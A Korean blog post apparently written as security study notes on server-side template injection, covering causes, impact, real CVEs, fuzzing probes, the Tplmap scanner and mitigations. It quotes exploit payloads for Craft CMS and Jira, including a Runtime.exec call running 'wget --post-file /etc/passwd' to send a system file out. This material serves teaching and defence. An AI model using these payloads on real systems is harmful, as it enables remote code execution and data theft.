* Server-side Template이란?
정적 웹페이지
- 서버에 미리 저장된 정보(HTML, 이미지, JS등)를 별다른 가공 없이 바로 보여주는 페이지
동적 웹페이지
- 서버 내 정보를 스크립트로 가공한 이후 전달되는 페이지
Server-side Template Engine
- 서버에서 DB 혹은 API에서 가져온 데이터를 미리 정의된 Template에 넣어 최종 페이지(html)를 완성한 이후 클라이언트에서 전달해주는 역할
- Html 코드에 고정적으로 사용하는 부분은 Template으로 만들고 동적 생성해야 하는 부분만 Template의 특정 장소에 끼워 넣는 방식으로 동작
>> 사용자가 입력하는 데이터와 미리 정의된 템플릿을 조합하여 사용자에게 보여주는 방식
Server-side Template Injection (SSTI)
- Server-side Template Engine의 잘못된 사용으로 공격자는 Template을 제어하여 서버 내 데이터를 노출하는 코드를 삽입하거나 서버에 임의의 명령을 실행할 수 있게 되는 취약점
>> 데이터를 받아 템플릿과 연계하여 페이지를 만들 경우, 데이터 값에 서버사이드 스크립트를 넣었을때, 템플릿 엔진에서 적절한 검증이 없을 경우 사용자에게 전달되는 페이지에 공격자가 입력한 명령어가 실행되어 노출되는 취약점
* 취약점 발생 이유
- SSTI는 사용자 입력이 데이터로 전달되지 않고 템플릿에 직접 연결될 때 발생
- 입력값에 대한 적절한 절차가 이뤄지지 않을 때 발생
영향도
- RCE(Remote Code Execution) : Template Injection Payload에 임의의 시스템 명령어를 사용하여 서버 탈취
- 서버내 데이터 출력 : 시스템 명령어에 대한 실행이 불가능할 경우 서버 내 중요 데이터를 include 하여 화면에 출력할 수 있음
* 실제 취약점
- CRAFT CMS(CVE-2018-20465)
>> redirect={{craft.config.get('password', 'db')}}
- ATLASSIAN JIRA (CVE-2019-11581)
>> subject=$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('wget --post-file /etc/passwd
* 취약점 진단 방법
- SSTI 취약점 발생 포인트를 찾기 위해 Template 표현식에 사용되는 특수문자를 삽입하여 퍼징해봄, 예외 발생 시 삽입된 표현식은 서버에 의해 해석 될 수 있다는 의미로 취약점 포인트 가능성이 있음
>> 샘플 : & {{<% [% ' "}} % \
- Plaintect context
>> 입력한 값이 html 코드에 직접적으로 삽인되는 형태
ex) ${8*8}
- Code Context
>> 입력한 값이 특정 변수에 저장된 이후에 html 코드에 삽입되는 형태
ex) username<tag>
* 자동 점검 방법
- Tplmap
>> tplmap.py -u "host/aaa?인자=test"
* 보안대책
- 입력값 검증
>> Template Engine 표현식에 사용되는 특수문자(${}<>%\"' 등) 필터링 로직 구현
>> Engine 별 파일 접근, 명령어 실행이 가능한 주요 메서드, 함수, 클래스 등 필터링 로직 구현
- 최신 버전으로 업데이트
'보안 공부 > Web 보안' 카테고리의 다른 글
Server-side Template Injection(SSTI) template 별 점검 방법 (0) | 2024.01.20 |
---|---|
Spring Framework 취약점 진단 (0) | 2024.01.18 |
OpenSSL 취약점 점검 가이드 (0) | 2024.01.17 |
wordpress 취약점 진단 방법 (0) | 2024.01.10 |
JWT(Json web token) 취약점 점검 (0) | 2024.01.09 |